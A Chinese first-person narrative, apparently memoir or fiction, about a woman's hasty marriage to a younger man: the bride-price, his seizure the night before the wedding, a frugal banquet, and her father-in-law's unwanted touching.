端午回家就跟他爸爸说了彩礼的事儿。然后跟我说:“我爸爸说了,登记完,就把彩礼打到你卡上。你把建行卡号给我,我发给他。” 周日,端午开车带着他的父母来了。我在我家小区大门口等他。他开车冲上大门口的停车位的样子很帅。他下车的时候,走路的样子也很帅。端午走起路来,两条腿有点外八字,他斩钉截铁地走着,让我想起了古代的年轻的文官儿。 端午工资很低,只有三千多,我也常常奚落他,挖苦他,以此来显示我这个老妇女的优越感,以此来掩盖我在他这个年轻后生跟前的自卑感。但是其实,在我内心里,工资很低的端午,没有任何穷酸气或是卑微气,丝毫没有。 他是自信的、高贵的,他的□□和灵魂的干净是超越了我的。 是的。一个人来自灵魂深处的高贵,的确是不以金钱为转移的。 两个老人家来到我家,买了两个柚子和一袋子红枣,坐在沙发上跟我说话。我早就给她们洗好了茶杯,泡好了茶。端午的妈妈晕车,不太舒服,坐在沙发上难受地张着嘴。她的上嘴唇的牙齿都伸在外面,像是《乌鸦喝水》里头的小乌鸦。 我们聊聊天,到了中午就去外头吃饭。 吃饭的时候,端午的爸妈很是客气,互相跟对方说“谢谢”!男的给女的倒杯水,女的说“谢谢”。男的跟女的碰个杯,女的说“谢谢”!我觉得很绅士,也很别扭,两口子还说什么“谢谢”,他们两口子这么客气,自以为看起来很有礼貌,倒让我觉得他们的感情并不真的深厚,倒是很虚假。 饭桌上,说起结婚的事,端午的妈妈说:“你们两个属相般配,一个属猴,一个属鼠。你们走在一起,一点看不出来你比他大。你们生个女(牛)宝宝,对你们两个都好!” 我没有听清她的话,我问她:“阿姨说什么?生个女宝宝?” 她说:“牛宝宝!” 我说:“这都三月份了,那也来不及了啊!” 她说:“来得及!” 老太太催生,我并不厌烦,反而有些高兴。 我说:“阿姨还蛮有意思的。” 端午的妈妈说:“我跟你爸爸身体都好,我们家养的猫,吃猫的胎盘。回头我也弄给你吃吃。端午不吃,我都是偷偷弄给他吃,不跟他说。” 我说:“我不吃。人家不是说吃野味不好吗?猫在外头乱跑乱吃东西,我怕有寄生虫。” “不吃就不吃吧。”端午的妈妈说,“我教给你一个秘方。吃鱼刺,卡着了。你就这样做。”她找来一个空碗,里面倒上水。 “这个秘方是我父亲知道的。传男不传女。他一开始还不肯告诉我。我跟他说,‘你不告诉我,等你以后老了我就不管你!’”端午的妈妈学着撒娇的样子说。 “你们不要看!”她跟端午和端午的爸爸说。她拿筷子在盛满清水的碗底,画了一个“猫”字,把那最后一笔高高地挑起来,像猫的长长的尾巴一样挑上去,挑到“猫”字的头上。 “这样就好了,你卡在喉咙里的鱼刺就出来了。”她一举一动那么专注,倒像是真的,我都半信半疑了。老太太这是来向我传授独门法术了。我当时也不好意思说这个不科学,还跟着她的教学煞有介事地认认真真地听着。 “噢!”“噢!”我的眼神扑朔迷离地说。 饭后,端午送他父母回去了。 第二天是三月十五号,周一。我们约好去登记。我事先拉了一下头发,自己试着第一次抹了一点腮红。穿了一件白色的大衣,一件蓝色的牛仔裤,一双白色的运动鞋。 去登记的路上,我跟端木说着话。 我问端午:“我们登记完,你回哪啊?” 端午说:“我们登记完,我就把你送回去,然后我再回我家。” 我说:“我们今天领证儿,晚上你不该回我那里吗?你怎么还要回你家啊。领完证儿就没关系了,各回各家?你是要回去跟你的哪个前任来个饯别吗?” 他说:“不是。我就是想回去睡个好觉。” “你要回去睡个好觉?你在我那儿不能睡吗?我那里不是早就给你准备好了洗漱的东西了吗?牙刷、牙杯和毛巾,都有啊?连换洗的内裤、刮胡子的剃须刀,我都给你准备好了呀。你上班的地方距离你家跟我家差不多。你为什么非要回去呢?” “行的!行的!那我就去你家。”端午说。他虽然是同意了我的说法,可是我觉得他很被动。一路上,我还是不高兴。领证结婚之夜,本来是要欢欢喜喜地在一起的,他却要回去自己睡。我想想就不开心。我倒不是非要今天同房,可是我觉得他的做法不对劲。我这样想着,边愤愤不平,边落了几滴伤心的眼泪。 到了他家那里的民政局,我们匆匆忙忙去排队,填表,抽血。 临到我们照相了,我脱下大衣,露出了里面的衬衣。端午脱下外套,穿着灰色的秋衣就把衬衣给套上了。我们的衬衣是我在网上定的。衬衣的领子上有一颗红心,以及“始于初见,终于偕老”的字样。他的领子上绣着“端午先生”,我的领子上绣着“端午太太”。 我跟端午说:“你怎么没脱秋衣啊?你把里头的秋衣脱下来吧,单穿着衬衣,平展一点,好看一点。” 他不脱。“就这样!就这样!”他说。 登记完了,他爸爸打电话让我们去吃饭。 端午吃东西很急,菜很热,他被烫地抖着舌头,哈着气,还招呼我说:“吃菜吃菜!” 端午的皮肤很白很嫩,嘴巴很薄,是亮亮的粉红色,像是小朋友的嘴巴。我知道这样的嘴巴更怕烫怕热。 我跟他说:“你不要吃地太烫,太烫了对胃不好。” 他说:“没事没事!” 他爸爸也说:“吃地太烫了是不好。端午在厂里吃饭吃地快,习惯了。” 我说:“你看!叔叔也说吃烫了不好吧。” 端午说:“以后就是一家人了。该叫爸爸妈妈了。” 我说:“等结婚以后再叫吧。还没给我改口费呢。” 到了晚上,他很累了,躺下睡了。我睡在床尾上,跟他叽叽歪歪地说起白天的事。 “我是不明白。你为什么说登记完你就回你那儿啊?”我问他。 端午说:“我不是到你这儿了吗?” 我说:“那还不是因为我不高兴了吗。要不是我不高兴,你就真的回你那里啊?你是怎么想的?你是不是还有个前女友放不下啊?” 端午说:“没有啊。” 我一直不高兴。端午躺着不说话。他很累了,的确是想睡觉了。可是他看我叽歪个没完没了,只好无奈地起身去安慰我。他去抱起我,像是一只小猴子要去奋力抱起一只大棕熊。那个样子一点都不和谐。那个感觉一点都找不到感觉。我记忆中唯一一次跟他撒娇就这样结束了。他太小,心理小,身量也小,我没办法对他投怀送抱。 现在我们登记完了,我还有点担心彩礼的事儿,怕他爸爸赖账。我跟端午说:“彩礼,你爸爸不会不给了吧。他不给,我也会跟你的。你得催催他啊。我们要在我们手里,作为我们小家庭的基金。我们光生个孩子就得花很多钱呢,你工资那么低,根本就没有保障。现在不要,他们以后可就不给了。” 端午说:“好的!我跟他说!他会给的!他的钱之前买了基金,要取出来。” 没几天,他爸爸的彩礼果然到账了。八万多一点点。一切都是我保管。端午也不过问。 接下来就是准备“五一”结婚了。我娘家太远,我妈妈也不会给我操持。我就自己买买被子、被套,还有新婚用的一切小东西。 而端午这边,他爸爸带着我们去选了窗帘,装了卧室的空调,买了洗衣机。准备去买窗帘的那天早晨,端午搂着我的肩膀说:“窗帘一定要装的,否则我们怎么生活啊!”他说的“生活”指的是夫妻生活。可是他说话的样子就像个小孩子,一点都不黄,不油腻。 客厅的空调太贵,他爸爸说:“大省,客厅的空调,以后再装吧。”我知道以后很可能就没有了,也没太计较,就说:“好的”。 这段日子,我忙着网购东西,买货,收货,连碗筷茶具都是网购的。端午下班晚,我就自己下班以后去搬回家。端午这以后都住在我这边。 周末,我们就回他那里布置新房,把所有新的东西都带到他的房子里。我自己的房子比他的小,本来也不是新房。我就拿他的房子做新房了。 “我爸爸说,婚礼那天让我上去讲两句。我还不知道讲什么呢。”端午说。 “那你先打个草稿呗。你想讲什么就讲什么。你先用白纸打草稿,然后用红纸誊。”我说。 “好!我现在就去打草稿。”端午说着就去他的书房里找纸笔。 “嗯,就这样,我们也不要找什么司仪,你就自己说说,蛮好的。”我说。我想起来我第一次结婚的时候,我的前夫黄林军到处求爷爷告奶奶求人给他发言的鸟样子,以及多方被拒后只好自己软软懦懦地发言的鬼样子。 我觉得端午做事实在、干脆果断,小小年纪却能顶天立地。他是我喜欢的样子。 2.我老公在急救,老公公拍儿媳妇大腿 阳春三月,我想早点怀孕,我们就积极地备孕。那时候是新婚,端午也很卖力。可是不知道是太累,还是压力太大,一连几个月都没有动静。 “我妈让我多吃点鱼汤补补。”一次,我们一起吃饭的时候,端午跟我说。 “为什么?我们不是经常喝鱼汤吗?”我问。 “她觉得我最近要补补身体。”他说。 “她觉得你备孕辛苦啊?”我问他。 “我妈问我最近房事多不多。我说,没那么多房事。”端午很端庄很无辜地说。 我们两个备孕的过程,机械多于感情。榫卯不能珠联璧合,总是咯咯吱吱地。费了好大的劲儿去调和,一旦严丝合缝了,也很快就销声匿迹。每次飞机降落以后,飞机的尾翼老是卡在航空母舰的缝隙里。飞机想拔出尾翼,得冒着折断尾翼的痛楚。 “疼!疼!”他说。 于是,航母托着飞机小心翼翼地旋转。航母跟飞机总是不能很好地分离。真是虾扯蛋! 我跟端午的感觉就是,你饿了,本来是想吃个猪肉配米饭,结果你吃了个梨子来充饥。淡而无味,聊胜于无。慢慢地,你即使挨饿,也不想吃梨子了。 又慢慢地,随着年龄的增长,你的胃口也不好了,也不那么想吃猪肉了。即使有人偷偷送你一盆猪肉,你也不想吃了。因为偷吃猪肉简单,可是,满嘴的油,擦起来很麻烦。而且,那猪肉,也未必是健康的。说不定外表看着光鲜,可是内里却是满是瘟疫的“米猪肉”,当时吃着解馋,可是吃过以后会拉肚子,会呕吐,甚至会留下后遗症,给你以后的生活带来无穷的后患。还不如吃个梨子或是不吃来的省事、干净。 端午那年还是二十九周岁,马上过三十岁生日。我给端午在“海澜之家”买了一身深蓝色的小西装,皮鞋,还有皮带,给他结婚的时候穿,也是庆祝他三十岁生日。 “五一”放假,我们回端午那里,准备结婚了。那天正好是端午农历的生日,他爸妈在家烧了菜,买了个大蛋糕,给端午庆祝三十岁生日。端午那阵子不知道是不是因为卖力备孕的原因,他有些瘦了。他楚楚地坐在那儿,像是一个快被妖精给榨干的童男。他的生日,他很高兴,他戴着蛋糕店里送的像是王冠似的帽子,吃了一块蛋糕。 吃完饭,我们就回我们的新房去。端午的房子是拆迁房,我后来才知道。不过我是看上了端午,即使他没有房子,即使他爸爸不给彩礼,我也会跟定他的。 回去以后,我就去洗澡,端午去书房打游戏。我洗完澡,他还在打游戏。我也不理他。我心里是不高兴的。第二天就结婚了,我们不该干点什么吗?端午还在打游戏,不一会儿,他就从椅子上滑下来了。 “我靠!”我听到他说。我以为他是不小心,赌气不管他。 后来他自己走出来了,脸色苍白。“靠,我滑倒了!”他说。我也不理他,心里想,你滑倒滑倒呗,多大的事儿。 他自己走到了小房间。那是他婚前自己住的地方,并不是我们的婚房。我不知道他为什么去了小房间,我不知道他那时候已经晕了,他是凭本能的记忆走到了那里。 “我头晕!”他说。 “你是打游戏打地呗。”我没好气地说。我就自己去婚房里睡觉。我以为他很快也会过来的,谁知道他半天也不进来。 他在小房间里头喊:“我头疼!” 我不知道他为什么头疼。我以前又没见过这场面。我还生气呢。新婚前夜,他不该来主卧室吗?他去小房间干什么。他怎么突然头疼了?他头疼了,怎么也不来找我啊?他是因为跟我结婚所以头疼吗?他是结婚前想起了哪个前任,心里难过,痛苦地头疼吗?不是有这样的人吗,结婚前,自己把自己关起来,想着前任,蒙着被子痛哭流涕地。端午不是正好也这样吗?先是窝在书房打游戏,迟迟不出来。等他出来了吧,又跑到自己的小房间里去。喊着痛苦,头疼。 想着这些,我更烦了,也不理他。我还跟他赌气呢。你难过都不来找我啊,你明知道明天结婚,你都不愿意来婚房啊?你又哭又喊,为的是什么啊? 他在那里哭闹,我还在气恼呢。他怎么回事?要么就是他神经病犯了,那我也没办法,要是神经病犯了,即使带到医院也治不好啊。他就这样哭闹了好长时间。 快十点了。我自己烦闷地睡不着,就去小房间看看他。这一看,让我大吃一惊。他坐在地上,被子被他全从床上抓下来,扔在了地上。门把手儿上,我买的喜庆的红色的小挂件儿也被他拽下来了。他在地上坐着哼哼唧唧地呢。我心里想。噢,你跟我结婚这么不高兴,你难过成这个样子啊。我根本不知道他当时已经头脑不清醒了。 我就问他:“你想干嘛?” 他说:“我没干嘛。” 其实,我以为他是神经病犯了,过两天就要办婚礼了。他要是神经病,我要是悔婚的话,他家不是丢人了吗?他就算是神经病,我也得给他家撑个场面。不能让婚礼泡汤。以后的事儿,以后再说吧。不行,以后再给他看呗。 他家也许早就知道他神经病,一直瞒着我的吧。他现在发作了,我还是先不说吧。说出来,他爸妈脸上怎么过。既然是神经病,那即使送去医院,一时半会儿也治不好的。所以我当时没想到送他去医院。我当时还是很喜欢端午的,即使他是神经病,我也不会立刻就离开他,不会对他不管不问的。 端午在我心里是一个值得疼爱的干净的小男孩。我对他又爱又怜。即使他是神经病,至少一时半会儿我都不会放弃的。但是,端午那个时候的样子让我觉得很陌生,毕竟,登记之前,我们也就趁着周末见了两次面。我们两个真正在一起的时间,满打满算也就一个月吧。说起来,我对他还很陌生呢。我以为他神经病犯了,我还不太敢靠近他。不管怎样,先把婚礼糊弄完再说。我就是这么想的。即使自己被骗了,我还为他一家子着想呢。 是的。那种情况下,我不仅没有悔婚,我还依然为他家着想呢。光从这一点上来说,我完全可以称得上是一个大好人滥好人了。我甚至可以自诩为是他和他家的大恩人了。 我又想,他坐在地上,把房间里弄地乱七八糟的,这是对婚事不满,不想结婚,故意闹地吗?那我就跟他爸爸说说吧。 我就跟他说:“要不,我跟你爸爸打电话?” 他说:“好的!” 我就跟他爸爸打了电话。 “喂!叔叔。端午说他头疼。坐在地上呢。房间里被他弄地一塌糊涂的。你们赶紧过来看看吧!”是的,我以为端午是在闹婚的。那就让他爸爸来看看吧。 “好的。我们这就去!”他爸爸说。 端午更加不行了,他不停地在地上翻滚。他的腿盘起来,双手抱着腿,在地上爬,口吐白沫了。 我以为他是羊癫疯发作了,眼前的场景让我觉得又陌生又害怕。我就赶紧催他爸爸,让他快点来。 “叔叔!你们到哪儿了?端午在地上爬呢!”我惊慌地说。 “我跟阿姨在路上呢!马上到!”他爸爸说。 他爸爸妈妈来了,看他坐在地上。老两口儿双双朝他扑了过去。说实话,那场面还挺感人的。父母毕竟是父母啊。 “抽了!赶紧打120!”他爸爸说。 “端午啊,你别吓妈妈啊!”他妈妈说。 他爸爸一说,我才意识到他情况很严重。我还是头一回知道这就叫“抽了”。我就赶紧打120。 120接线员还有点意意思思地不想来:“人是怎么回事啊,要去吗?” 我没好气地说:“人命关天,你们赶紧过来啊!” 直到这个时候,我都以为他是羊癫疯发作了,我还有点害怕,不敢靠近他。 他爸爸妈妈把他从地上拉起来,坐在沙发上,抱着他。我也一下子不那么害怕了。开始关心起他来。端午被他爸妈抱在怀里,他的眼睛还是看着我。他的眼神儿像是一只病弱的小鸡子一样,恍恍惚惚迷迷离离的。 120来了。 “我们到了。下来吧。”120说。人命关天。他们也不说上来帮忙,就在下头等着。端午的家在三楼。也没有电梯。怎么办? 他爸爸努力地背他下去。 “他太沉了,你背不动。”我说。端午爸爸个子矮,大概只有一米六。端午个子高,有一米七五的样子。 “背不动也得背!”他爸爸说着,吃力地背起他。到了楼下,我跟他爸爸一起上了车。他妈妈在家里守着家。车上,跟车的医生给他喝了水,他睡了,也不闹了。 到了医院,直接去了急诊。医生询问了一下:“他今天吃了什么?” 我说:“吃了蛋糕,他生日。” “他是贫血,贫血了要喝牛奶,你不知道啊?” 我说:“啊,他原来是贫血,他之前没跟我说过。” 他爸爸说:“他妈妈生他的时候贫血,所以他身体比较弱,也有点贫血。”端午原来是贫血了,不是神经病,我反而放心了。他精神上没有疾病,能正正常常地跟我过,我也就心满意足了。 医生说:“他是几点开始抽的?” 我说:“大概是九点吧。” 医生说:“九点抽的,快十点了才送过来。” 我说:“我不知道,我还以为他是羊癫疯呢。” 医生说:“再晚来一会儿,他就危险了。大脑缺氧太多的话,即使抢救过来,也会影响脑子的。这要是一夜身边没人儿的话,会有生命危险的。” 端午沉沉地睡着了。手腕上挂着各种夹子,头顶上的盐水瓶子里的药水“滴答滴答”地往下滴。医生让我们家属换着守夜。他爸爸跟我说:“你去休息吧。我先来。”我找来了一个板凳,放在他的床边儿上,让他爸爸来他床边的凳子上坐下。 我走到病房外,坐在病房外头蓝色的塑料连椅上,想想端午刚才受的罪,心里很难受。都是我不知道实情,没有早点救助他。要是我能早点打120送他去医院。他得少受多少罪啊。可是我真地不知道是怎么回事啊。是端午隐瞒了他贫血的实情,可是我一点都不怪他。我心疼他还来不及呢。 哼!现在想想,谁他妈的不是一个宝宝啊。新婚之夜,他闹成这个样子。我白白地受了那么大的惊吓!谁来心疼我呀?我当时为什么不觉得委屈呢。我应该委屈,应该反悔啊。当时,我就应该跟他离婚,我就不该再跟他继续造人。 闪婚闪离又怎么样?七婚八离又怎么样?再单身几年又何妨? 婚姻的事情,真的不敢想。再想的话,你会觉得,从头到尾都错了。选错了一个人,这一生,就白白地给耽误了。 男怕入错行,女怕嫁错郎。这句话说地一点儿没错啊。 可是,再想想。再找一个又怎么样呢?找个口蜜腹剑的,老奸巨猾的,能把你耍地团团转,也能把别人耍地团团转的?找个只会耍嘴皮子,根本就不会交工资的?找个我一跟他吵架,他就不顾孩子跟我离婚的?找个他妈妈更强势更恶毒的天天跟儿子告状的?找个我胆敢跟他妈吵架他就又要揍我又要跟我离婚的?找个公公婆婆齐上阵一起打儿媳妇的?谁知道结果会不会更糟糕呢?婚姻这种破事儿可真的说不准。 不一会儿,他爸爸出来了。他坐在我右手边蓝色的椅子上。 “端午没事的,放心吧!”他拍拍我右边的大腿。老公公能拍儿媳妇的大腿吗?骚公鸡! “没事,放心!”他又拍了我一下。他平时好像也这样,不知道是因为对我满意还是怎么的,常常会按着我的肩膀,或是拍拍我的手。我碍于情面,又是新媳妇,没好意思跟他计较。 这回,他儿子在抢救室,我一脸的忧伤,他居然那么兴奋,开心地拍我的大腿! 好你个老东西!老流氓! 我不好跟他发作,就起身回到病房。我坐到端午身边,看着他。他像是一个熟睡的孩子,看着又纯洁又安详。只是,端午,你这么瘦弱单纯,你在受罪,你家那个老流氓居然拍我大腿!真是悲哀啊!你爹要是封建社会的老财主,我要是封建社会的小脚小嘴儿,大气不敢出的儿媳妇,还不知道会怎么样的!我看着端午,想着这些。眼泪就掉下来了。 老家伙看到了,跟我说:“没事的,他睡一会儿就好了。” 我说:“嗯,我就是觉得他可怜。” 端午醒了,还在输液,但是没什么大碍了。 医生问他:“你家在哪啊?”他不知道了。 “你的电话多少啊?”他也不知道了。 医生又看着我问他:“她是谁啊?” “大省。”端午说。此刻,他就像一个刚睡醒的孩子。眼睛是微弱的。他用微弱的眼神看着我。看我是不是责怪他,或是要悔婚。可是我一点都没有责怪他的意思。 他要撒尿了。我赶紧拿来尿壶给他接尿。 他爸爸把尿壶接过去说:“哪能让你接呢。我来。”他爸爸把尿壶端过去,端午在人前尿不出来。他爸爸就把他从床上扶起来,搀着他去卫生间。 端午住了一夜的院,基本恢复正常了。第二天一大早,我们又打车回到家。他爸爸去买了早饭。因为一夜没睡好,我已经没有胃口吃饭了。因为不放心端午的情况,吃完早饭,我们三个人又坐公交车到了金河市里的医院给端午做进一步的检查。 接下来的一天,就要举行婚礼了。 头天晚上,吃晚饭的时候,端午的爸爸说:“我下去看一下,外头有人吗。” 他出去看了一下,回来说:“没人。赶紧搬东西!” 我们四个人赶紧往下搬香烟、白酒、红酒、饮料。 “我这里的朋友太多了,请这个不请那个,不好。只请自家亲戚。对外就说你们旅游结婚了。”端午的爸爸说。 “你爸爸以前在外面吃人家的太多了!都是人家请他的!现在都请的话,请不过来!只请你爸爸的亲戚!”端午的妈妈咬牙切齿地说。是的,端午的妈妈小声说话的时候咿咿呀呀地,大声说话的时候咬牙切齿地。 我问老太太:“你跟娘家人不走动吗?” 老太太说:“不走动。” 端午的爸爸说:“她娘家人不好。” “噢,反正我家亲戚也不来,怎么样都行。”我说。 “我更喜欢你了!”老太太说。是的,我娘家人不来,又给她家省了一笔钱了。 婚礼当天一大早,我们就起来,赶紧穿衣打扮。我也没请化妆师,就穿着网购的一件红裙子,自己梳梳头,擦点粉。端午穿着我给他买的深蓝色的小西装,里头穿了一个旧的内裤。 “你穿的是旧的短裤?”我说。 “嗯。随便穿穿。”他说。 我大姨妈来了,情绪不稳定,心情很急躁,看他穿旧的内裤,有点光火,就生气地跟他说:“我早就告诉过你,今天结婚嘛,要穿新的。我不是给你买了新的短裤吗?” 端午说:“穿在里面,人家又看不见。” 我说:“不行,就要穿新的!你去换新的去!” 不知道为什么,我对我跟端午的婚礼相当重视。所以给他从头到脚,都买了新的。我想让一切都是新的。我们一起好好生活。我看端午还穿旧的,觉得他不够重视,就气恼了。 端午见我生气了,就说:“别生气了,今天结婚。” 我就不生气了。我在镜子里左照照右照照。 “本来还说找个化妆师的呢。不找了。又省了一笔钱。”我说。 “快点!”端午说,“还要去我爸妈家接我爸妈。” 我就急急忙忙跟他走了,口红都没有涂。到了他家,才知道他爸妈还没有吃饭。我们坐着,等他爸妈吃饭,换衣服。 端午穿着那身蓝色的小西装,端端正正地靠墙坐着。老太太过来看看端午说:“你看端午多帅哦!” 我说:“他的这身小西装是我帮他选的。又当结婚的礼服,又当他三十岁的生日礼物。你看端午幸福吧,我天天给他买衣服!” 她说:“他福气好的,他一出生就坐车!他出生的那天,又打雷又下雨的。” 我看看端午,笑笑说:“我的妈!你这是真龙天子降世啊!阴云密布,雷声大作!” 老太太说:“你们两个的属相好。一个猴子,一个老鼠。” 我说:“我还没涂口红呢!端午就知道催我!”端午的爸爸说:“端午的车子里装了东西,开车去不方便,我骑电动车去给你拿吧。”我说:“要不不拿了吧。”他爸爸说:“还是拿吧,人家亲戚会说的。”他爸爸骑车去帮我拿来了口红,我们又等了一个女人,好像叫小梅,我们五个人开始向酒店进发。 没有租一个车队。就端午一辆车。端午的车上,被我贴了一个“喜”字。端午几天前洗了洗车。路上,我才知道我们是去“东方大酒楼”举行婚礼。我还以为是个什么样的酒楼呢。到了才知道,原来是他爸爸托他大伯找的一个老旧的酒楼。一楼像是一间没有装修的土坯房,进门左手边是一个小窗口,正在卖包子。来宾都乘电梯上二楼。我赶紧去二楼的一个空房间换礼服。我自己网购的大红色礼服,镂空的肩膀上坠了一串水滴形的珠珠,我自认为还蛮好看的。我们俩为了省钱,也没拍婚纱照,就在门口站着等着各位来宾。来了六七桌客人,都是他家的亲戚。 开席了,端午的爸爸让端午上去讲两句。端午早就在家里打好了草稿。我当时来了大姨妈,看着他上台,我心里有些慌,有点紧张,表情木木地看着他。 端午昂首走上前,到了席面最前头,拿着话筒,用坚定而洪亮的声音说:“大家安静一下!”大家都是各方的亲朋,都在讲话,一时没有听清,也没有安静。 “大家安静一下!”端午又来了一句,斩钉截铁地,像命令一样。这回,大家安静了,都看着他,我也看着他。他镇定地站着,面对大家,像个自信的校园小主持人。 “大家好!谢谢大家来参加我的婚礼!首先,我要感谢我的妻子,是她让我有了幸福温暖的家!我一定要珍惜我的妻子,做一个有责任有担当的丈夫!然后,我要祝福大家吃好喝好,一切都好!” “好!”台下响起了掌声!我也跟着大家一起喊好,为我的丈夫鼓起了掌声! 大家开吃了。我也放开了吃。 端午说:“吃吧。你这几天身体不好,你要补补营养的!” 我碰了碰端午说:“我是女的,不好意思站起来。我够不着的,你给我夹。多夹一点。” 端午说:“好的!” 吃了一会儿,我就跟端午一起,跟着他爸爸一桌一桌的敬酒。他爸爸让我跟人家喊“大伯”,我就喊“大伯”。让我跟人家喊“二伯”,我就喊“二伯”。人家答应一声,就把准备好的红包给我,大多数是二百块的。都是端午的爸爸以前给人家花出去的。 我们结婚,端午的哥哥也没有到。他基本上是与世隔绝的。 端午的一个大娘当着众人的面儿跟老太太说:“你家那个陆陆还是把自己关在家里,谁都不理?端午去找他,他也不理?连亲兄弟都没账了,这算怎么回事儿?你们带他去看看!恐怕是忧郁症。” 老太太不说话。端午白皙的脸皮上划过一丝红晕。我当时心里还颇愤愤,为老太太打抱不平,觉得那个大娘做事很低级,居然在这种场合公然当众揭人家的伤疤。 端午的爸爸很高兴,他把住我的肩膀,带我去跟他的那些弟兄们敬酒:“我让我儿媳妇给你点烟!我儿媳妇是真好!不是假好!通情达理的!”我就配合他给人家点烟。但我心里很不高兴。我的礼服的肩膀是镂空的,他把住我的肩膀干什么?兄弟之间,姐妹之间可以如此。他一个老公公,要对我退避三舍,敬而远之,这是江湖规矩,他不懂吗? 吃完饭,筵席散了,我跟端午换了便装,跟他爸爸妈妈一行四人去医院,给端午办理住院手续。端午开车,我坐副驾。老头子坐在端午后头,老婆子坐在我后头。 老头子说:“哎呀,我今天真开心,喝了好多酒。”然后他把他那双咸猪手伸过来,透过前后座儿之间的距离,去扒我左边的肩膀。我有意躲闪了一下。 端午看到了,就提醒老家伙说:“爸爸你坐好,开车呢!” 老头子说:“哎呀,我今天真高兴!” 对了,老头子朝我左边肩膀伸出咸猪手的时候,是端午提醒的。老太太一个屁不放,一言不发。她是个石雕的?还是个木刻的?还是个泥塑的? 端午在他爸爸的陪同下去做检查的时候,我跟老太太坐在一起等着。我以为她是个能管事儿的。我就把老头子拍我大腿的事儿跟她说了。 我说:“妈妈,你以后抽个时机跟爸爸说说,注意点。我不喜欢别人碰我。”我以为老太太会信誓旦旦地骂老头子,跟我保证她回去会如何处置他。 结果,她弱弱地说:“他就那样,喜欢拍人。”我一看,没用,这老婆子不中用。我白跟她说了。可是老贼以后再对我动手动脚怎么办,这让洒家如何忍得下。我就决定找个机会跟端午说。 端午接下来住院。我该上班上班,下了班就打车去看他。他生活可以自理,白天,他就自己去检查身体,一切指标都好。下午,我去看他,他就跟我一起在医院里转转,我们俩说说话。晚上,等我回家了,他自己玩玩手机就睡觉了。 但是看在他在病中,他爸爸拍我大腿的事,我还忍着,没跟他说。 一天下午,我又去看端午。他跟我说:“我陪你下去走走吧,我自己也出去走走。”我们就一起到医院的院子里。我忍不住,就跟端午说了他爸爸拍我大腿的事。说着说着,我就骂起来了。 “老家伙,他以为他什么东西!我看得上他!他也不想想,我既然看得上他儿子,他就该知道我好哪口儿!他以为他当官儿是吗?领导!领导!他是哪门子领导?他当的什么官儿?他就一个保安,吓唬吓唬那些没见过世面的农村老太婆也就算了!跑到我跟前装人!哼!” 端午说:“我知道他是什么人。第一次一起吃饭,我就看出来了。他外面有人。我只是不说!” “不要脸,他儿子在抢救,他居然有心情拍我大腿!简直是畜生。连个畜生都不如!”我继续骂道。 端午说:“行了,别骂了,他毕竟是我爸。” 我说:“那回头你跟他说说。这种人,明明是咸猪手,他自己肯定是不承认。一定要把握时机,等哪次你看好了,他再拍我的手或是大腿的时候,你就私下里跟他说。” 端午说:“好的。” 第二天,我又去看端午。端午跟我说:“昨天的事,我跟我爸爸说了。” 我说:“啊?你怎么那么着急!老家伙肯定不承认。肯定会生我的气!”毕竟是老公公,我对他,还是有所忌惮的。 我问端午:“你怎么跟他说的?” “我说,爸啊,你碰她了吗?”端午说。 “他肯定不承认!”我说。 “我跟他说,她不喜欢别人碰她,你以后不要碰她。他说,好。” 端午说。 我说:“你就这样直接问他的?你怎么这么着急啊,我不是教你了,等一个合适的时机再跟他说,一定要说地委婉吗?” “有什么好委婉的,还不如直接说!否则他就装憨卖傻,装不懂!”端午说。 我说:“我的天!你平时看起来呆呆傻傻,关键时刻,你对人性的丑恶真是清清楚楚的!就是太直接了。会让老头子记恨我的。不过我也不怕!我是指望他吃了,还是指望他喝了!” 我觉得端午很男人很勇敢! 又一天下午,我去看端午。端午带我一起到江边走走看看,聊聊天。 “你以前谈过吗?”我问他。 “谈过。我爸妈不同意。”端午说。 “她要多少彩礼?”我问。 “六万。”端午说。 “那我要八万块钱的彩礼,你爸妈怎么又同意了?”我有些沾沾自喜地说。 “你上班,她不上班。”端午说。 “一女的不上班,闲着干嘛啊?全靠男人养家,压力多大啊?一般的男人哪养得起啊。”我又有些沾沾自喜地说。 端午说:“我找过的对象里,她是最漂亮的。” 我说:“我很丑是吗?” 他说:“你乍一看有点丑,后来慢慢地就看顺眼了。” 我一下子又火了:“她在你心里是最漂亮的,那你去找她啊,你跟我结婚干什么?感情你找我是退而求其次啊?!” “光漂亮有什么用?不能吃不能喝的。所以我爸妈不同意。”端午说。 我说:“可是你想同意!她不上班,你还愿意养着她。你对她才是真心的!你找我呢?就是因为我能上班赚钱养家糊口。原来你找我不是因为喜欢,而是因为现实。你最喜欢的是你那个前任。” “哪有啊?幸好没找她。”端午说,“我们现在不是蛮好的。” “当然好了。我又能赚钱养家,又能包容你。要是你那个前任,看见你那天晚上那个样子,早就跑了。原来我找你是因为喜欢,你找我是因为现实啊。” “说话怎么那么难听。”端午说。“我要是不喜欢一个人,我也不会跟她在一起的。” “我说话怎么难听了?我说的都是实话。你要是足够有钱,你就找你那个前任养着她了。你对她才是真心的。你找我,完全是因为你养不起家。” 我打的车到了,我气愤地上了车。 第二天,端午跟我发了一天的信息。跟我解释。可是我觉得一切解释都是苍白无力的。他虽然是无意,但是却暴露了他内心的想法。 我说:“你心里有个最漂亮的。你觉得我丑。” 端午说:“我就随口说一下。” 我说:“正因为是随意,所以才真实啊。人家最漂亮,所以人家不上班,你都愿意养活人家。我不漂亮,所以我得上班,不用你养活。感情你是不得已才选择我的。你选择我就是图我有个工作,不用你养活。那谁是真爱,谁是勉强应付,不是很清楚了吗。”总之,端午是解释不清了。 端午说:“我手上打着滞留针,给你发信息。手疼地要死。”我就不再跟他理论了。 下午,我还是正常去看他,还给他买了他爱吃的猕猴桃。端午脸上笑笑地。 我说:“你笑什么啊。” 他说:“老婆疼老公。我当然笑了。”他像是下了一个结论一样。 端午检查了几天,花了□□千,把他医保卡上的钱都花光了。我们继续上班,平时住在我这里,放假了就回他家住,每次回他家,我们都是先去他父母家一起吃饭。我每次去都不空手儿,不是买油桃、樱桃这些时鲜的水果,就是带老鹅、鸡爪子。 一个周末,我们又到了他父母那儿。老头子去厨房炒菜去了,我跟老太太一起坐着。老太太家的房子是老年房,统共不到五十平方。客厅里就是一张餐桌,旁边放着一个沙发,沙发上铺着被褥,端午的奶奶睡在上头。老奶奶已经快九十了,拿着件衣服就想往身上套。 “天太热了,你身上穿地够了!”端午的妈妈跟老奶奶说。 “啊?”老奶奶听不太清楚她儿媳妇的话,还是要往身上穿衣服。 “你看大省穿地什么?你还要往身上穿!你就是个神经病!”老太太恨恨地指着她婆婆说。 